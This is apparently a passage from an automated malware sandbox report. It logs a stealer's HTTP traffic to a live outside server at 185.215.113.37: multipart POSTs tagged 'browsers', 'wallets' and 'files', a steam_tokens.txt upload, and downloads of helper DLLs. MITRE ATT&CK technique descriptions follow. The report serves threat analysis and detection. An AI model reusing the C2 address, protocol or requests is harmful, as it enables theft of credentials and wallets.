2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 2d 2d 0d 0a Data Ascii: ------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="token"67525979ce09ce8c1b5689560a8abb765210a45fe5622a098f0dcef1c76fe5a663e61677------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="message"browsers------JJJKFBAAAFHJEBFIEGID--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIDAFBFBKFHJJKEHIEGHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 35 32 35 39 37 39 63 65 30 39 63 65 38 63 31 62 35 36 38 39 35 36 30 61 38 61 62 62 37 36 35 32 31 30 61 34 35 66 65 35 36 32 32 61 30 39 38 66 30 64 63 65 66 31 63 37 36 66 65 35 61 36 36 33 65 36 31 36 37 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 2d 2d 0d 0a Data Ascii: ------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="token"67525979ce09ce8c1b5689560a8abb765210a45fe5622a098f0dcef1c76fe5a663e61677------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="message"plugins------KFIDAFBFBKFHJJKEHIEG--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBGHDHCGHCAAKEBKECBHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 35 32 35 39 37 39 63 65 30 39 63 65 38 63 31 62 35 36 38 39 35 36 30 61 38 61 62 62 37 36 35 32 31 30 61 34 35 66 65 35 36 32 32 61 30 39 38 66 30 64 63 65 66 31 63 37 36 66 65 35 61 36 36 33 65 36 31 36 37 37 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 2d 2d 0d 0a Data Ascii: ------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="token"67525979ce09ce8c1b5689560a8abb765210a45fe5622a098f0dcef1c76fe5a663e61677------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="message"fplugins------HDBGHDHCGHCAAKEBKECB--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHCGDGIEBKJKFHJJKFCHost: 185.215.113.37Content-Length: 5575Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAFIIJDAAAAKFHIDAAAHost: 185.215.113.37Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAAKEBGDAFHIIDHIIECFHost: 185.215.113.37Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCGHCBKFCFBFHIDHDBFHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 35 32 35 39 37 39 63 65 30 39 63 65 38 63 31 62 35 36 38 39 35 36 30 61 38 61 62 62 37 36 35 32 31 30 61 34 35 66 65 35 36 32 32 61 30 39 38 66 30 64 63 65 66 31 63 37 36 66 65 35 61 36 36 33 65 36 31 36 37 37 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 2d 2d 0d 0a Data Ascii: ------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="token"67525979ce09ce8c1b5689560a8abb765210a45fe5622a098f0dcef1c76fe5a663e61677------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EGCGHCBKFCFBFHIDHDBFContent-Disposition: form-data; name="file"------EGCGHCBKFCFBFHIDHDBF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJKFBAAAFHJEBFIEGIDHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 35 32 35 39 37 39 63 65 30 39 63 65 38 63 31 62 35 36 38 39 35 36 30 61 38 61 62 62 37 36 35 32 31 30 61 34 35 66 65 35 36 32 32 61 30 39 38 66 30 64 63 65 66 31 63 37 36 66 65 35 61 36 36 33 65 36 31 36 37 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 2d 2d 0d 0a Data Ascii: ------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="token"67525979ce09ce8c1b5689560a8abb765210a45fe5622a098f0dcef1c76fe5a663e61677------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="file"------JJJKFBAAAFHJEBFIEGID--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJJJDHDGDAAKECAKJDAHost: 185.215.113.37Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKJDAAFBKFHIEBFCFBKHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 35 32 35 39 37 39 63 65 30 39 63 65 38 63 31 62 35 36 38 39 35 36 30 61 38 61 62 62 37 36 35 32 31 30 61 34 35 66 65 35 36 32 32 61 30 39 38 66 30 64 63 65 66 31 63 37 36 66 65 35 61 36 36 33 65 36 31 36 37 37 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 4b 2d 2d 0d 0a Data Ascii: ------DAKJDAAFBKFHIEBFCFBKContent-Disposition: form-data; name="token"67525979ce09ce8c1b5689560a8abb765210a45fe5622a098f0dcef1c76fe5a663e61677------DAKJDAAFBKFHIEBFCFBKContent-Disposition: form-data; name="message"wallets------DAKJDAAFBKFHIEBFCFBK--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGCGDBGCAAEBFIECGHDHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 35 32 35 39 37 39 63 65 30 39 63 65 38 63 31 62 35 36 38 39 35 36 30 61 38 61 62 62 37 36 35 32 31 30 61 34 35 66 65 35 36 32 32 61 30 39 38 66 30 64 63 65 66 31 63 37 36 66 65 35 61 36 36 33 65 36 31 36 37 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 2d 2d 0d 0a Data Ascii: ------JDGCGDBGCAAEBFIECGHDContent-Disposition: form-data; name="token"67525979ce09ce8c1b5689560a8abb765210a45fe5622a098f0dcef1c76fe5a663e61677------JDGCGDBGCAAEBFIECGHDContent-Disposition: form-data; name="message"files------JDGCGDBGCAAEBFIECGHD--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJKFBAFIDAEBFHJKJEBHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 35 32 35 39 37 39 63 65 30 39 63 65 38 63 31 62 35 36 38 39 35 36 30 61 38 61 62 62 37 36 35 32 31 30 61 34 35 66 65 35 36 32 32 61 30 39 38 66 30 64 63 65 66 31 63 37 36 66 65 35 61 36 36 33 65 36 31 36 37 37 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 2d 2d 0d 0a Data Ascii: ------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="token"67525979ce09ce8c1b5689560a8abb765210a45fe5622a098f0dcef1c76fe5a663e61677------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="file"------AKJKFBAFIDAEBFHJKJEB--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBAKKECAEGCAKFIIIDHHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 41 4b 4b 45 43 41 45 47 43 41 4b 46 49 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 35 32 35 39 37 39 63 65 30 39 63 65 38 63 31 62 35 36 38 39 35 36 30 61 38 61 62 62 37 36 35 32 31 30 61 34 35 66 65 35 36 32 32 61 30 39 38 66 30 64 63 65 66 31 63 37 36 66 65 35 61 36 36 33 65 36 31 36 37 37 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 4b 4b 45 43 41 45 47 43 41 4b 46 49 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 4b 4b 45 43 41 45 47 43 41 4b 46 49 49 49 44 48 2d 2d 0d 0a Data Ascii: ------IDBAKKECAEGCAKFIIIDHContent-Disposition: form-data; name="token"67525979ce09ce8c1b5689560a8abb765210a45fe5622a098f0dcef1c76fe5a663e61677------IDBAKKECAEGCAKFIIIDHContent-Disposition: form-data; name="message"ybncbhylepme------IDBAKKECAEGCAKFIIIDH--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKEBFBAKKFCBGDHDGHDHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 46 42 41 4b 4b 46 43 42 47 44 48 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 35 32 35 39 37 39 63 65 30 39 63 65 38 63 31 62 35 36 38 39 35 36 30 61 38 61 62 62 37 36 35 32 31 30 61 34 35 66 65 35 36 32 32 61 30 39 38 66 30 64 63 65 66 31 63 37 36 66 65 35 61 36 36 33 65 36 31 36 37 37 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 46 42 41 4b 4b 46 43 42 47 44 48 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 46 42 41 4b 4b 46 43 42 47 44 48 44 47 48 44 2d 2d 0d 0a Data Ascii: ------BAKEBFBAKKFCBGDHDGHDContent-Disposition: form-data; name="token"67525979ce09ce8c1b5689560a8abb765210a45fe5622a098f0dcef1c76fe5a663e61677------BAKEBFBAKKFCBGDHDGHDContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BAKEBFBAKKFCBGDHDGHD--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

